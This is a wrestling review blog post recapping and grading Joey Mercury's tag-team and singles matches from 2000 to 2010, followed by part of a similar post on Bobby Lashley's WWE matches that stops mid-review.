Wrestler of the Day – July 14: Joey Mercury

Today we’re looking at a guy who was around for a long time and actually didn’t do that badly for himself. Today is Joey Mercury.

Mercury started as Joey Matthews in 1998 but we’ll start things off in 2000. Matthews would team up with Christian York to form a Hardy Boys ripoff team in the dying days of ECW. Here they are at Massacre on 34th Street.

Simon Diamond/Swinger vs. Christian York/Joey Matthews

Before the match, Dawn Marie comes out and says she’s leaving with the winners. Dawn makes sure to drop the contract for her services twice so she can pick it up. It’s a brawl to start with Simon being sent to the floor and Swinger being caught in a double powerbomb. We settle down to York vs. Simon with Diamond nailing two quick kicks to the head to knock Joey to the floor. Back in Swinger takes over on York before bringing Simon back in for a double legsweep.

Simon hits his rolling suplexes into the gordbuster but misses a charge into the corner. Swinger walks into wheelbarrow slam and the hot tag brings in Matthews. Joey cleans house and hammers on Swinger outside before York hits a huge plancha onto both of them. Everything breaks down and Simon plants Matthews with a reverse DDT. A double superplex to Matthews is broken up and York pulls Simon down with a sitout powerbomb. Matthews hits a top rope hurricanrana, setting up a top rope elbow from York for the pin on Swinger.

Rating: C. This was fine for an opener as York and Matthews are fun to watch. They’re not the same kind of team that most that most guys in this division are at this point and it makes them a different kind of entertaining. Simon and Swinger have cooled off a lot but they’re still a solid act.

The team would continue to work together, including this match at the first TNA Weekly PPV on June 19, 2002.

Christian York/Joey Matthews vs. The Dupps

The Dupps are named Stan (Trevor Murdoch) and Bo. Stan Dupp. Oh dear. Their cousin is both of their girlfriends. I hate this gimmick already. The faces are your standard face cruiserweight tag team. They have a ton of charisma if nothing else, but they’re just generic. After the faces dominate for about two minutes the girl interferes to crotch York for the pin.

Rating: F-. This was a waste of 4 minutes of my life. The heels had NO offense but they win on a fluke anyway. That’s just crap but of course it’s what they went with here. I hated this and they could have used it for ANYTHING else. Somehow the Dupps would work for WWE on a developmental deal. For the life of me I have no idea why they kept getting work.

Matthews wrestled on and off in ROH for years, including this match at Death Before Dishonor 2003.

Crazy K vs. Willow vs. Joey Matthews

Willow is of course Jeff Hardy and he’s drawing a WE WANT MATT chant. He sits down in the corner to start as the other guys brawl. Joey will have none of that and goes after Willow. He tries to rip off the mask as the announcers acknowledge the Matt chants. Crazy heads outside and Willow takes the mask off before stomping away even more. A double flapjack puts Matthews down and it’s Willow vs. Crazy. Interestingly enough, Crazy was trained by Jeff.

Crazy botches a spinning DDT (again acknowledged by the announcers) but Matthews is back in for the save. Matthews laughs at the fans for some reason but Willow jumps him from behind to take over on the floor. Crazy dives on both guys to take them out before everyone heads back inside.

Hardy is now in his regular gear instead of the black suit he started the match in. A slow motion Poetry in Motion crushes Joey in the corner and Crazy totally screws up a sunset flip on Hardy for two. Matthews breaks up the Swanton for the biggest reaction of the night but Jeff shoves him down and nails the Bomb on Joey instead. Jeff grabs a cradle on Crazy for the pin.

Rating: D. This was awful as a match but fascinating as a crowd study. They HATED Jeff Hardy here at a level I’ve almost never seen. To be fair though, the announcers talked about Jeff cutting a promo saying he was burned out on wrestling, basically making it sound like he was there for a check and nothing else. That’s the way he wrestled too and that’s not good. Crazy wasn’t much better with all the botches but at least he tried.

Matthews would head back to OVW and hook up with Johnny Nitro to form MNM, along with Nitro’s manager Melina. Here’s their debut match from April 17, 2004 on OVW TV.

MNM vs. Maven/Matt Cappotelli

It’s a brawl to start with Maven and Cappotelli clearing the ring. Nitro gets knocked out to the floor but is still able to pose for his introduction. Nice touch. Things settle down with Cappotelli hammering on Matthews before getting his hands on his former partner Nitro. Johnny runs for the floor to hide, suckering Matt into a double team in the process. MNM double teams Matt down and Nitro stomps on him for two.

Maven finally comes in to break up the double teaming and causes some miscommunication from MNM. Matt crawls to the wrong corner but stops a charging Nitro with a boot to the face. Now the hot tag brings Maven in to clean house with a missile dropkick for two on Nitro. Melina comes in and rakes Maven’s eyes, setting up a swinging fisherman’s suplex for the pin on Maven.

Rating: C. I liked MNM a lot more than I was expecting to. For those of you that never got to see him, make no mistake about it: Matt Cappotelli was good. Like, better than Nitro at this point good. He was a natural in the ring and was easily my favorite guy in OVW for a long time. He’s one of the biggest “what if’s” I’ve ever seen in wrestling.

The team was good enough that they were on Smackdown in a year and challenging for the Smackdown Tag Team Titles on April 21, 2005.

Smackdown Tag Team Titles: MNM vs. Rey Mysterio/Eddie Guerrero

MNM is challenging of course and the champions have been having issues lately. Eddie goes off on Nitro to start but it’s quickly off to Mercury. The champions send Joey to the floor and we take a break. Back with Eddie hammering on Nitro before it’s off to Rey for a kick to the chest. A dropkick sets up the slingshot hilo for two and a belly to back gets the same on Nitro. MNM gets in a few cheap shots and knocks Eddie off the apron to take over.

Mercury throws Eddie onto Nitro’s knee for two and a running knee to the ribs gets the same. We hit the abdominal stretch for a few seconds until Eddie nails a tilt-a-whirl backbreaker. A hot tag brings in Mysterio to clean house, including a springboard seated senton for two on Mercury. Everything breaks down and Eddie busts out Three Amigos on Mercury to set up the 619. Melina makes the save and kisses Batista, allowing MNM to hit the Snapshot for the pin and the titles.

Rating: C-. The match was mainly there so Eddie and Rey could split up after the match and start their feud. It also allows MNM to look good in their debut match and get the titles on a young team. Eddie and Rey handled the wrestling here but the Snapsnot was a nice double team move. Picture a 3D with Nitro hitting a DDT instead of a cutter.

Here’s a title defense from Judgment Day 2005.

Smackdown Tag Titles: MNM vs. Hardcore Holly/Charlie Haas

MNM have the belts here of course. Melina runs her mouth and yet says nothing at all. Amazing how so many of the Divas do that. Why in the world are Holly and Haas teaming together? Oh that’s right: the tag division was atrocious at this point. As in worse than it is today. Nitro (Morrison) vs. Haas to start us off. Key lock by Nitro and Haas is like “boy are you trying to wrestle me” and sends him to the floor.

Arm work by Haas including a HARD arm drag. Off to Holly vs. Mercury now. Oh dear this is going to be bad. Holly gets his one move, the dropkick, for two. Allegedly low blow pops the crowd a bit but Mercury gets a hard chop to take over. Scratch the taking over part as they’re going to chop it out a bit. Alabama Slam is set up but Haas distracts the referee for some reason, allowing Nitro to kick Holly and shift momentum.

Nitro hammers away on Holly and I wonder how Holly feels that his student is 10x the star that Holly ever was. Mercury back in and this is more or less shouting WE SHOULD BE ON SMACKDOWN! Chinlock goes on to waste some time. Holly manages to get a full nelson slam and…..and….my goodness it’s a HOLLY chant! Jesse Ventura must have poisoned this crowd and taken over their heads. That has to be on the next season of Conspiracy Theory.

Haas comes in and clears house, sending both guys to the floor and hitting a big dive to take both of them out. Melina tries to trip up Haas but she gets sent to the floor. Haas cleans house but can’t get an exploder suplex. Haas has the pin but the referee is distracted. Holly apparently stepped out for doughnuts or something as MNM hits the Snapshot (flapjack/DDT combo) for the pin to retain.

Rating: B-. Considering who was in there, this was a miracle. The crowd was INTO this, despite it being more or less an extended TV match. Haas and Holly would of course never team again but hey I can let that slide. At one point Tatanka and Matt Hardy were a team. Are you starting to see how bad this division was? Anyway, shockingly good match here and a hot crowd on top of that.

And another defense from Armageddon 2005, now in the third title reign.

MNM vs. Mexicools

MNM is John Morrison (Nitro here) and Joey Mercury. The Mexicools are Super Crazy and Psicosis. See, they’re Mexicans and they ride lawnmowers. That’s their gimmick. Mercury vs. Psicosis to start us off. Off to Nitro who doesn’t do any better so it’s off to Mercury again. Ok make that Nitro. Yeah it’s Nitro. Not that I can’t tell them apart mind you. They’re just tagging in and out that much.

Psicosis misses a charge but gets a punch to Mercury’s stomach off the top. Spinwheel kick sends Mercury to the floor and here come the dives. Crazy uses the referee as a launching pad to dive onto MNM in a nice spot. Psicosis loads up the guillotine legdrop but Melina crotches him to shift momentum. Psicosis gets a sunset flip but a blind tag breaks up anything he’s about to get going.

Clothesline gets two for Mercury. Psicosis gets a nice headlock takeover/headscissors to take both guys down. No tag though as Mercury brings Nitro back in. Nitro takes Crazy out which is a smart move because when Psicosis breaks free for a tag attempt there’s no one to tag. Nitro grabs a Cravate and Psicosis still can’t make a tag. Mercury almost jumps into a boot in the stupidest spot ever but he catches himself which is a sigh of relief from me.

Psicosis gets an enziguri and it’s hot tag to Crazy. He sends MNM into each other and fires off some dropkicks for everyone. Tornado DDT gets two on Mercury. Nitro and Psicosis go to the floor and Crazy hits the moonsault after kicking Melina to the floor. Nitro makes a last second save. Crazy gets up and walks into the Snapshot (3D position but Mercury holds him there and Nitro hits a DDT) for the pin.

Rating: B. I know that’s probably high but I really liked this. The Mexicools were flying all over the place at times but it was never to the point where it was just high spots and nothing of actual significance. MNM was good too and Melina in that tiny skirt of hers helped too. Really fun tag match and I’d like to see them get a long match (this was about 9 minutes).

Here’s another title defense from Judgment Day 2006.

Smackdown Tag Titles: Paul London/Brian Kendrick vs. MNM

MNM have the titles here. Melina does her usual sexy entrance. MNM has lost 5 times in a row to Londrick. How in the world are they still champions then? Nice pop for the challengers. London vs. Nitro (Morrison) to start us off. London speeds things way up and the crowd is white hot. The challengers tag in and out very fast as they work the arm of Nitro.

Mercury comes in and finally takes over a bit. Shoulder block gets two for Kendrick. Londrick clears the ring and it’s high spot time. Mercury comes back in and avoids a big cross body to give MNM the advantage. Melina lets loose the screams. You can hear Morrison’s push dying with every one. She throws a head scissors on London for two.

We hit the chinlock as I guess the future straightedge masked man needs a breather. Collision puts both guys down and it’s a double tag to bring in Kendrick and Nitro. Snapshot to Kendrick (elevate DDT) gets two as London saves. Good thing the referee glared at him in between the 1 and 2 counts to make sure he made the save. Morrison throws a chinlock on Kendrick as we reset things again.

Delayed vertical suplex by Mercury gets two on Kendrick. It’s the old school style of “what do we have to do to beat this small man???” which is always good. Off to another chinlock as London plays cheerleader. I’d prefer Melina but I’ll take what I can get. Nitro poses on a cover for two and gets all ticked off. This would be similar to the AGGRESSIVE Morrison we saw a few weeks ago.

Chinlock #4 goes on as it’s pretty clear they got a bit too much time in this. Kendrick gets a reversal to send Mercury into Morrison and it’s hot tag London. After cleaning house he gets a dropsault to cover Nitro but Melina comes in and screams for the save. No touching, just stuff with the mouth. Works for me. They can’t get the suplex/hold the foot pin to work so Kendrick totally misses a huge dive and THUDS on the floor. Sick sound too. MNM tries some double teaming but HEEL MISCOMMUNICATION lets London get a jackknife pin on Mercury to give them small dudes the tag titles which they would hold about 11 months.

Rating: B. Good match here to be sure but the amount of resting hurt it. This would be a higher grade if Nitro or Mercury was a bit better in the ring but pretty good other than that. Nitro would get a lot better of course while Mercury just kind of floundered for a long time. Melina and the screaming was good too. Fun opener and the crowd was into it the whole time, which is the idea.

Melina blames Mercury post match and slaps him. The guys go at it and she kicks Mercury in the head. This is the end of the team I guess. The referee gets a swift kick in the balls too. The pull apart brawl goes on for awhile as Teddy Long goes down also.

MNM would reunite at December to Dismember 2006 as they answered an open challenge from the Hardys.

MNM vs. Hardys

This was an open challenge that was accepted by MNM. Who cares that neither was on ECW at the time? This was one of two matches announced for the show. What does that tell you? MNM beat up the Hardys on Tuesday and that’s all there is to it. Jeff is IC Champion here by the way. Matt and Mercury start us off.

The Hardys are dominating and throw in a spin cycle which is always a cool move. It’s like a double suplex but they spin the other guy around. It’s hard to explain. And now we get the weird part of this: ECW chants by fans that actually think this is a real ECW show. They start a she’s a crack w**** chant at Melina and no one knows how to react to it.

Matt hits splash mountain on Nitro (Morrison) for two. Apparently Melina has herpes. This show really was doomed from the start on this. I didn’t know Scott Armstrong was refereeing this far back. Tazz isn’t helping things either with his idiotic commentary. To be fair though, he could be far more annoying, like that scream from Melina.

Tazz throws in that Cole doesn’t like women. If true, I’m not entirely surprised. In a funny bit, MNM go for the Twist of Fate and Swanton but Matt fights off and gets the hot tag to Jeff. Matt hits a Pescado on Mercury which is more or less caught and reversed to set up the big pile of aerial moves which never gets old.

Jeff misses the Swanton as Mercury pulls Nitro out. This has been pretty good so far. Tazz gets off on the screaming I think. Morrison looks weird with blonde hair. It’s MNM in control now as they beat up Jeff. Yeah Tazz is driving me crazy. Melina is a crack w**** again apparently. It amazes me that she was more or less just the sexy valet at this point and became a great worker (by comparison) in just a few years.

They’re being given a lot of time if nothing else as we’re about 15 minutes into this and there seems to be a good amount of time to go in it. Is Tazz supposed to be Jerry Lawler or something? If he is he’s somehow more annoying than Jerry if that’s possible. Jeff gets a Whisper in the Wind out of nowhere to set up the tag to Matt.

In a cool spot, Jeff is tagged back in and goes up. Matt tries to set Mercury up for a powerbomb by handing him to Jeff but Nitro makes the save and then shoves Mercury up to Jeff so he can hit a hurricanrana. That was freaking cool. Nitro accidently dropkicks Melina and Jeff rolls him up for a LONG two.

Jeff takes the Snapshot but Matt makes the save. This is awesome stuff now. MNM sets for a top rope Snapshot but Matt saves with a double cutter to let Jeff hit a Swanton onto both of them for the pin. By the way, the Snapshot is Nitro holding up the other guy and Mercury hitting an elevated DDT.

Rating: B+. This was very good stuff as they were given a lot of time and it worked very well. This was a way to let MNM look good, even though at the end of the day they weren’t even the best tag team that Morrison was even a part of. Either way this was good stuff and it worked very well. Definitely good, but the show would go all downhill from here.

This led to an awesome fourway ladder match at Armageddon 2006.

Smackdown Tag Titles: Paul London/Brian Kendrick vs. Daven Taylor/William Regal vs. MNM vs. The Hardys

MNM lost the titles to Londrick and are returning here since Nitro (Morrison) is on Raw. The Hardys are also on Raw but who cares? Jeff is IC Champion and they’re not Boys anymore. The crowd is WAY behind the Hardys. The heels are sent to the floor so it’s Londrick vs. the legends. Matt and London take over but Kendrick and Jeff come back. Spin Cycle takes out London and appropriately enough the Brits come back in.

Matt and I think Nitro pick up ladders and the fight goes to the floor. The Hardys come down the aisle with ladders as Regal and Taylor try to keep them out. Just about everyone is back in now and there’s a pair of ladders. Poetry in Motion hits Regal and Taylor takes a Snapshot. Double superkick puts Regal down again and things slow down a bit.

The champs and the Hardys go at it, including Matt throwing Kendrick into a ladder HARD. Jeff goes up but London makes the save. London goes up but the Hardys save. Nitro tried a springboard move to take him out but the ladder was already down so the spot landing looked sick. Mercury is almost up there but London/Kendrick/Hardys pick up the ladder and shove Mercury over the top onto Nitro.

Poetry in Motion is attempted but London moves and Jeff crashes into the ladder. With everyone down, Kendrick makes a run but Matt saves. Neckbreaker puts Kendrick down and London hits a suplex on Regal outside. Matt gets put on a ladder leaned against the ropes so Kendrick hits a double stomp to the ribs.

Now we get to the famous part of this match. MNM sets up a see-saw thing using a pair of ladders. They put Jeff on the top and set for a double suplex but Matt makes the save. Jeff dives off and the ladder is slammed into Mercury’s face, absolutely destroying his nose. I’ve never seen more blood so fast. His nose was shattered and he would be out for a few weeks and would need 20 stitches.

Due to the injury it’s now a seven man match with the Brits in control. Half nelson release suplex sends London into the ladder. Taylor holds the ladder and Regal goes up but comes down due to fear. Taylor goes up instead but Kendrick comes in for the save. Mercury is already on his way to the hospital. Matt comes back in and hits a Twist of Fate to Taylor. Jeff sets up a ladder on the floor and tries to dive into the ring but Nitro hits a baseball slide to take out the ladder, sending Jeff’s throat into the ropes.

Nitro rides a ladder down onto Regal as a ladder is set up in the ring. Kendrick makes a save and takes Nitro down again. Matt throws Kendrick off the ladder and London has to make the save. Matt backdrops London off but the ladder falls. Jeff vs. Nitro on a ladder now and Jeff gets a big old sunset bomb and the Brits are back. They take everyone down and up they go.

Kendrick gets up there and pounds away on Regal but Taylor pulls him down again. Everyone is down and London starts crawling for the ladders. Matt is up again and goes for the same ladder. There are two ladders next to each other. Matt gets knocked down and London pulls the titles down to retain after a war.

Rating: B+. I wanted to give it an A- but it just didn’t feel right. It’s an excellent match and a great four way ladder match, despite it becoming a three and a half way part of the way through it. Londrick gets a big win here which they need and the fans get all fired up. Definitely the best match of the night (seriously, can you imagine something topping it later?) but it didn’t hit that level of the TLC matches.

Joey spent years on and off in OVW so I have to pick up something else from him around there. Here’s a match from one of his later runs, at some point in May 2008.

Rudy Switchblade vs. Joey Matthews

Switchblade is a pretty basic guy but he could cut a solid enough promo to work well in a place like OVW. Joey is wrestling in jeans and has been extra violent lately. They trade arm work with Rudy taking over. Matthews comes back with a gutbuster and a running shoulder in the corner for two. We hit an abdominal stretch on Switchblade but he comes back with a hiptoss and backslide for two. A slingshot hilo and neckbreaker put Matthews down but Switchblade’s upcoming opponent JD Michaels crotches Rudy down, giving Joey the pin.

Rating: D+. Switchblade was a rookie at this point but he didn’t do too badly for himself out there.  Matthews worked really well as a guy being himself but very aggressive and wanting to hurt people rather than beat them.  The match was just there as a way to set up JD vs. Rudy and having Joey get a win is fine.

Mercury would take 2009 off due to injuries but come back to WWE as part of CM Punk’s Straightedge Society. Here they are facing Big Show at Summerslam 2010.

Big Show vs. Straight Edge Society

Three on one handicap match. Punk has already grown his hair to a bit shorter than it is in 2013. We continue the awesome that is CM Punk as he wears a shirt saying “I Broke Big Show’s Hand”, which is a reference to Greg Valentine’s “I Broke Wahoo’s Leg” shirt from about thirty years ago. Show takes off his cast to reveal that the hand is fully healed and to freak Punk out a bit.

Mercury charges right into a chop and Gallows gets the same. The Society has to tag in and out here so Punk calls a conference on the apron. Gallows and Mercury jump Big Show and apparently tagging isn’t required here. Show easily throws away the lackeys and palms Mercury by the head, throwing him over the top and onto Gallows. Punk is the only one left now and a few shots to the back easily put him down. Show misses a chop and hits the steps, giving the Society an opening to go after the hand.

The Society pounds away with really basic stuff as we’re just waiting on the comeback. Punk charges into a back elbow and Show cleans house for a bit until Punk hits a high kick to slow him down. Some running knees in the corner stagger the giant before a double DDT from Punk and Mercury gets two. Punk goes nuts on the hand but Show picks him up on his shoulders. After dropping Punk over the top, the lackeys are destroyed again and Show chokeslams Mercury onto Gallows for a double pin.

Rating: D. Another dull match here as Big Show never once felt like he was in any kind of danger at all. That was the problem with this whole feud: Show treated Punk like an annoyance rather than an opponent. This would lead up to the destruction of Punk in a one on one match next month because Big Show needed that push right?

This would be Mercuy’s last match as the injuries caught up with him. Mercury is a guy who is better in the ring than he’s known for being and made for a good tag wrestler in the faster paced matches. He wasn’t much on his own, but he could do good things when he was a wingman. He’s a good choice for the agent role he’s since taken up.

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Wrestler of the Day – July 12: Bobby Lashley

In OVW, he was called Brock Lesnar Times Ten. It’s Bobby Lashley.

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Bobby Lashley vs. Simon Dean

Lashley is in white here and it’s his PPV debut. This is a rematch from Lashley’s first match which was two days ago. Lashley throws him around but misses a corner charge. Dean throws hamburgers at Lashley and then hits him with the metal tray as the ref is distracted. That doesn’t work at all and Dean is thrown into the corner. They try to do a cool power spot where Dean is sitting in the corner while holding onto the top and having Lashley pull him out by his feet to catch him in the Dominator. The problem is Lashley can’t hold him up so he falls backwards and hits a regular Dominator to win it. Total squash.

Since one opponent wasn’t enough, here’s another match against two people at Armageddon 2005.

William Regal/Paul Burchill vs. Bobby Lashley

They have to tag. No real story here other than Lashley needs villagers to eat. He’s beaten both of them in one on one matches so this is the next challenge. Burchill starts and that doesn’t go well at all. Bobby pulls Regal in also and beats them both up with ease. Regal gets a kick in and cheats a bit on the floor. Just a bit though so don’t judge him. The British dudes use their technical stuff as we’re just waiting on Lashley to take over. Top rope knee gets two for Burchill. Lashley wakes up and mauls them both, ending Burchill with a Dominator.

Rating: D+. Just a squash here that was there to give Lashley a chance to look awesome. Granted Burchill and Regal didn’t mean anything at this point but the beating looked good. Lashley wouldn’t ever become the superstar they were hoping for but nice try at least I guess. No idea why this was on PPV though. Easily could have gone on Smackdown.

Lashley would make it to the finals of the 2006 King of the Ring, with the finals taking place at Judgment Day 2006.

King of the Ring: Booker T vs. Bobby Lashley

Booker beat Matt Hardy and got a bye to get here. Lashley beat Mark Henry and Finlay. Booker gets shoved down to start and they circle each other. I mean they circle each other A LOT. Lashley takes over with power shots and Booker can’t outmove him. A shoulder hits the post though and Lashley crashes to the floor. We go into the slowdown stuff here as Booker takes over on the arm.

Lashley fights back with a clothesline and stands around a lot. Sharmell interferes which gets them nowhere so they do it again and Booker takes over. Bookend gets a long two. This is rather boring stuff. Powerslam gets two for Lashley and the fans get WAY into it all of a sudden. Spinning heel kick sets up the axe kick for two. Lashley gets the spear but here’s Finlay with the club to Lashley’s head to let Booker hit the Bookend for the crown. He would win the title next.

Rating: D. I didn’t like this one at all for the most part. They felt like they were in the beginning of the match the entire time and it never worked for the most part. A D might be a bit low but at the same time I wasn’t thrilled with it in the slightest. It never got going at all and the whole thing was carried by Booker to say the least. At the time I never got the point of having Booker win but he was by far better at this point and in the long run it turned out to be the right move I think.

Five days later, JBL issued an open challenge for the US Title. From May 26, 2006 on Smackdown.

US Title: John Bradshaw Layfield vs. Bobby Lashley

Lashley throws him around to start but gets kicked in the face. Some right hands in the corner have Lashley in trouble but the Clothesline From JBL is countered with a spear to give Lashley the title.

After losing the title, Lashley would be in the main event of No Mercy 2006 for a World Title shot.

Smackdown World Title: Booker T vs. Lashley vs. Finlay vs. Batista

No tagging here. Cole talks about the numbers and JBL replies with this gem. JBL: “QUIT WITH THE MATH!!! I count money you moron!” Batista goes after Booker as Finlay throws Lashley to the floor. Finlay hooks up with Booker as Cole keeps talking about percentages. Lashley back in now and he throws Finlay to the floor. Batista is down in the corner. Spinebuster gets two on Booker.

Finlay pulls Lashley to the floor and a double teaming begins. Back in and the double team is on Batista until Finlay double crossed Booker. JBL freaking out is great but Cole is just awful at giving him stuff to play off. We’re down to Finlay vs. Booker with the pale one taking over. Lashley tries to get in but Finlay casually knocks him away. Booker is knocked to the floor so Finlay works on Big Dave’s arm.

Batista hits a Samoan Drop but Finlay hangs on. Cool. Lashley comes in but Finlay takes him down too. Cole calls Finlay Lashley because they look so much alike. Half crab to Lashley but Booker superkicks Finlay down for two. Booker takes Batista down with another sweet kick for two. Big Dave sideslams him down for two. Their one on one match is over as Lashley clotheslines Booker to the floor.

Finlay brings in a chair but Lashley kicks it away. Horny comes in to low blow Lashley and the club to the head gets two for Finlay as Booker saves. Everyone gets in for a bit and Batista hits a Jackhammer to take Finlay out so it’s face vs. face. Batista is like screw fighting and spears him down for two. Lashley comes back and somewhere (even Cole isn’t sure where) Batista gets his head busted open.

Batista gets thrown to the floor as does Finlay but Booker comes in with a Bookend for two. Just the two of them in the ring now and Bobby counters a suplex for two. Booker doesn’t know what to do here so he takes his hair down. Finlay breaks up the ax kick and gets two. Batista hits spinebusters on everyone and a Batista Bomb to Finlay. Lashley spears him for no apparent reason, allowing Booker to steal the pin on Finlay.

Rating: B-. Not bad here at all with the formula working pretty well. I like the four man matches much better than three man as you get more combinations out of it. Booker winning was obvious but it was still good enough at times. Finlay was really impressive here as he ran most of the match, which is what he’s great for.

Lashley would be sent to ECW soon after this and be involved in the Extreme Elimination Chamber at December to Dismember 2006.

ECW World Title: CM Punk vs. Bobby Lashley vs. Test vs. Hardcore Holly vs Big Show vs. Rob Van Dam

Now keep in mind, Punk and Lashley were more or less worthless at this point, so the only two legit main event guys you have in there are RVD who was hated by the company at this point and Show who didn’t care as he was leaving in 48 hours. RVD and Holly start. Remember that as soon as each pod opens up, the person comes out with a weapon which I’ll get to as each pod opens.

Holly is booed out of the freaking building. Naturally Vince will insist that it’s because of how great a heel he is or whatever. So we have to watch Holly and Van Dam for five minutes. Oh joy. The entrances took almost ten minutes mind you. The fans are dead here by the way. We get Rolling Thunder on the cage, which is impressive but we’ve seen it before.

They’ve managed to make the Elimination Chamber boring. That’s just impressive. Note: another Punk chant goes up. I can’t emphasize this enough: PUNK IS OVER. In third is Punk and his chair to a freaking ERUPTION. Quite a shame that he didn’t have a chance to win here. And Van Dam kicks the chair into him so he’s down 30 seconds in.

Ok to be fair, they’re the two most over guys in there so that’s ok I guess. Van Dam is bleeding. Apparently you can get pins outside on the cage now. That’s new I think. Heyman is the evil GM here in case you didn’t know. Punk is getting destroyed by Holly here in case you weren’t sure.

Also Punk would have his first loss in the company to Holly in about a month with the justification being that Holly was the bigger star and should go over. Again: if it’s not Vince’s idea, it’s not a good idea. In fourth is Test with a crowbar. Naturally he nails Punk with it. This is so stupid. Test and Hardcore Holly are in a FREAKING MAIN EVENT OF A PAY PER VIEW.

The idea here is that the heels are all working together which is completely pointless considering the idea of the match but that can’t be Vince’s idea. Heyman “booked” this remember? And then Van Dam hits this Five Star and Punk is gone. Yep, the most over guy in the match is out first while Test and Holly get to stick around.

Test puts Holly out ten seconds later with a big boot. It was only a two but the referee calls it three. The announcers and fans are confused but since this show isn’t for the fans it doesn’t matter. Van Dam goes up on top of Big Show’s pod but a chair shot puts him down. Test hits a big elbow off the pod…and Van Dam is out. Let’s see. Why is this stupid? Number one, the most over guy left is Big Show.

Second, now THERE’S NO ONE FOR TEST TO FIGHT, so it’s just dead time now. Third, you had TEST beat RVD. We’re still just sitting around after two replays of the elbow and just waiting on ANYTHING to happen. The fans have completely turned on the match at this point and don’t care at all. Thankfully the next guy in is Lashley.

He gets NO pop at all. Heyman’s security try to hold him in the pod, but using the WOODEN table in the pod with him, he breaks the STEEL chains on top of the pod. ARE YOU FREAKING KIDDING ME??? The table is still in the pod mind you so it’s not like it’s even being used. They keep ramming Test into the Plexiglas to set up Lashley vs. Show.

Yeah, that’s what this whole thing is supposed to end with: the massive showdown between Show and a heavily muscled guy. I know I’ve said it before, but Vince has to have repressed homosexual desires towards musclemen. I mean really, is there any doubt of it at this point? The fans HATE this mind you.

A spear puts Test out with a minute and a half left until Show comes out. In other words, we have nothing to do but wait for the time to run out. You might as well quit reading now as you know exactly what’s coming. Show comes in with his barbed wire ball bat and naturally he gets in no offense as it’s ALL Lashley here. He avoids the chokeslam and they slug it out. Lashley is terrible in the ring at this point mind you, so this is even more torture. And he wins it with a spear. The main event is over two hours and five minutes into the show.

Rating: D-. This was just completely ridiculous for reasons I’ve already gone into. For another thing, SABU, the guy that has somehow made a whole career out of doing stupid stunts in a ring, is left out here in favor of Holly. Are you freaking KIDDING? This was just dumb and nothing more than Vince deciding that he’s smarter than the fans once again.

The first major title defense was at the 2007 Royal Rumble.

ECW Title: Bobby Lashley vs. Test

Lashley won the title in December and Test is the warm body that he gets to crush in his first major defense. There’s a video package for this which is basically both guys beating up RVD to show how awesome they are. Test powers Lashley back into the corner so the champion comes out with a spear to take over again. Now Test tries to choke, so Lashley suplexes him down. Nice to see them sticking with the same formula. A delayed vertical suplex puts Test on the floor and the champion follows him.

Test sends Lashley into the barricade to take over and we head back in for a chinlock. He shifts into an armbar and hits a Stunner onto the arm for two. Lashley fights out of trouble and backdrops Test before hitting a three point stands shoulder in the corner. He tries a slam but the arm gives out, allowing Test to fire his one big weapon, the big boot, but it only gets two. Lashley pops up with a clothesline to send Test to the floor….and he walks out for the countout.

Rating: D. They needed to protect TEST? Seriously? Lashley doesn’t get to pin TEST clean? The match was dull stuff in the first place before a stupid ending like that. Lashley did what he could out there but Test was as much of a worthless musclehead as you could possibly ask for at this point.

Lashley would be Donald Trump’s representative in the Battle of the Billionaires in the biggest match of his career at Wrestlemania XXIII.

Bobby Lashley vs. Umaga

The barber’s chair gets its own entrance complete with some snappy music. Oh and Umaga is IC Champion. Trump coming out to a song with the only word being MONEY is perfect. Real money rains down from the ceiling, including $100 bills. To be fair this show brought in like 50 million dollars in PPV alone so they can afford a bit. They collide to start and slug it out with Lashley pounding him into the corner. Austin pulls Lashley off of Umaga since they’re in the ropes and Umaga gets in some shots of him own. Lashley goes up to the middle rope for a shoulder for two.

Umaga’s manager Armando Estrada is dragged in by Lashley and powerslammed down with ease. Lashley throws him out to the floor and low bridges Umaga to send him to the floor as well. Back in and Lashley misses a spear, sending him out to the floor this time. We head inside again and Umaga chokes away, only to be pulled off at four and a half by Austin. Austin has to do it again, this time by the hair for good measure.

A BIG clothesline puts Lashley down again and Umaga cannonballs down onto his chest for good measure. The Samoan drop puts Lashley down again as does a failed slam attempt. Vince gets up on the apron and gets dropped down by an elbow from Lashley, only to walk into a shot from Umaga to take over again. Umaga goes up and gets slammed down before being clotheslined down. Both guys down and Austin gets to nine before stopping so it doesn’t end in a draw.

Shane McMahon comes out to check on Vince as Umaga hits an uppercut to drop Lashley again. Austin has to pull Umaga out of the corner, earning him a Samoan Spike. Shane comes in and pounds away on Lashley until Umaga is back into things. The running hip attack crushes Bobby’s face and Vince throws in some trashcans. Shane hits the Coast to Coast to drive the can into Lashley’s face. A top rope splash from Umaga crushes Lashley and Shane has a referee’s shirt on now.

Austin breaks up the pin and beats up Shane for good measure, only to walk into another Samoan Spike. Trump isn’t sure what to do and shows off those great acting skills of his. Vince comes over to taunt him and TRUMP CLOTHESLINES VINCE! Umaga tries another Spike on Austin but gets countered into the Stunner. The spear from Lashley connects and it’s time for Vince to be bald.

Rating: D. This match sucked for the most part until Austin got going. The problem at the end of the day was no one on the planet with any idea what was going on here thought Vince was going to win. It also didn’t help that no one cared about Lashley because no one had ever given us a reason to. He was just kind of there for the most part and there was nothing more to him than he used to be a college wrestler and he’s muscular. Seriously, that’s Lashley’s story almost in full.

Post match they take FOREVER to Stun Vince and cut his hair. Austin Stuns him because that’s what Austin does to Vince. To their credit though, they SHAVE his head, not just trim it. Vince’s face during this whole thing is great as he goes from shock to the patented Vince rage in a few seconds. This led to three months of Vince/Shane/Umaga vs. Lashley which didn’t work for the most part. Austin, Lashley and Trump share beers and Trump gets Stunned. I’ll give the guy this: he has a soft spot for wrestling. He hosted two Wrestlemanias, was in the crowd for two more and did this.

This launched a feud with the McMahons, who took the ECW Title from Lashley via some shenanigans. Here’s Lashley’s rematch at One Night Stand 2007.

ECW Title: Vince McMahon vs. Bobby Lashley

Umaga and Shane are with Vince here. Since he’s in it, this is a street fight. Lashley tries to dive on Umaga to start but messes up completely, landing only a kick to the head of the now dead Samoan. Shane tries to punch him and that just fails, leaving Vince all alone with Lashley. Joey tries to make it sound like Lashley is standing up for ECW, even though Heyman probably gets physically ill at the thought of Lashley working for ECW.

He fights off the trio as well as he can at first but the numbers catch up with him when he tries to bring in a chair. Vince gives his first offense, a clothesline, to take Bobby down. Vince’s hair is back now so at least the bandana is gone now. Out to the floor as this is a very slow beatdown which is going nowhere at all. Vince gets the timekeeper hammer and chokes Bobby with it instead of, you know, HITTING HIM WITH IT?

